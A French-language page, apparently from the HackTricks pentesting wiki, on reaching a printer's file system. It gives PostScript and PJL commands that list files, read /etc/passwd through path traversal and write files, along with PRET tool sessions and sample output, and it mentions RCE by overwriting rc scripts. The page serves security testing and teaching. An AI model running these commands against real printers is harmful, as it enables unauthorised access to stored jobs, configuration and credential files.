hacktricks/network-services-pentesting/pentesting-printers/file-system-access.md
2023-06-03 13:10:46 +00:00

6.2 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

PostScript

Récupérez des informations sensibles telles que des fichiers de configuration ou des travaux d'impression stockés, RCE en écrivant des fichiers (comme l'édition de scripts rc ou le remplacement de fichiers binaires). Des constructions de langage légitimes sont définies pour PostScript et PJL pour accéder au système de fichiers.

Accédez au système de fichiers avec PostScript (notez qu'il peut être sandboxé en limitant les actions inoffensives):

> /str 256 string def (%*%../*)                               % list all files
> {==} str filenameforall
< (%disk0%../webServer/home/device.html)
< (%disk0%../webServer/.java.login.config)
< (%disk0%../webServer/config/soe.xml)

> /byte (0) def                                                % read from file
> /infile (../../../etc/passwd) (r) file def
> { infile read {byte exch 0 exch put
>   (%stdout) (w) file byte writestring}
>   {infile closefile exit} ifelse
> } loop
< root::0:0::/:/bin/dlsh

> /outfile (test.txt) (w+) file def}}                         % write to file
> outfile (Hello World!) writestring
> outfile closefile

Vous pouvez utiliser les commandes PRET suivantes : ls, get, put, append, delete, rename, find, mirror, touch, mkdir, cd, pwd, chvol, traversal, format, fuzz et df :

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> ls ../..
d        -   Jan  1  1970 (created Jan  1  1970)  bootdev
d        -   Jan  1  1970 (created Jan  1  1970)  dsk_jdi
d        -   Jan  1  1970 (created Jan  1  1970)  dsk_jdi_ss
d        -   Jan  1  1970 (created Jan  1  1970)  dsk_ram0
d        -   Jan  1  1970 (created Jan  1  1970)  etc
d        -   Jan  1  1970 (created Jan  1  1970)  tmp
d        -   Jan  1  1970 (created Jan  1  1970)  webServer

PJL

PJL (Printer Job Language) est un langage de commande utilisé pour contrôler les imprimantes. Il est utilisé pour configurer les paramètres de l'imprimante, envoyer des commandes d'impression et récupérer des informations sur l'état de l'imprimante. Les commandes PJL sont envoyées à l'imprimante via le port TCP 9100.

Les commandes PJL sont généralement utilisées pour configurer les paramètres de l'imprimante, telles que la qualité d'impression, la résolution et le format de papier. Cependant, certaines commandes PJL peuvent également être utilisées pour accéder au système de fichiers de l'imprimante.

L'une des commandes PJL les plus couramment utilisées pour accéder au système de fichiers de l'imprimante est la commande "FSUPLOAD". Cette commande permet de télécharger des fichiers depuis l'imprimante vers un ordinateur distant. Il est également possible d'utiliser la commande "FSQUERY" pour interroger l'imprimante sur les fichiers stockés sur son système de fichiers.

Il est important de noter que l'accès au système de fichiers de l'imprimante via PJL peut être restreint par des mesures de sécurité telles que l'authentification et l'autorisation. Cependant, si ces mesures ne sont pas correctement mises en place, un attaquant peut potentiellement accéder aux fichiers sensibles stockés sur l'imprimante.

> @PJL FSDIRLIST NAME="0:\" ENTRY=1 COUNT=65535               (list all files)
< .\:\:TYPE=DIR
< ..\:\:TYPE=DIR
< PostScript TYPE=DIR
< PJL TYPE=DIR
< saveDevice TYPE=DIR
< webServer TYPE=DIR

> @PJL FSQUERY NAME="0:\..\..\etc\passwd"                     (read from file)
< @PJL FSQUERY NAME="0:\..\..\etc\passwd" TYPE=FILE SIZE=23
> @PJL FSUPLOAD NAME="0:\..\..\etc\passwd" OFFSET=0 SIZE=23
< root::0:0::/:/bin/dlsh

> @PJL FSDOWNLOAD SIZE=13 NAME="0:\test.txt"                  (write to file)
> Hello World!

De toute façon, l'accès aux fichiers avec PJL n'est pas pris en charge par de nombreux imprimantes.

Vous pouvez utiliser les commandes PRET : ls, get, put, append, delete, find, mirror, touch, mkdir, cd, pwd, chvol, traversal, format, fuzz et df :

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> ls ..
d        -   bootdev
d        -   dsk_jdi
d        -   dsk_jdi_ss
d        -   dsk_ram0
d        -   etc
d        -   lrt
d        -   tmp
d        -   webServer
d        -   xps

En savoir plus sur les possibles contournements de sandbox en utilisant les limitations PostScript et PJL dans http://hacking-printers.net/wiki/index.php/File_system_access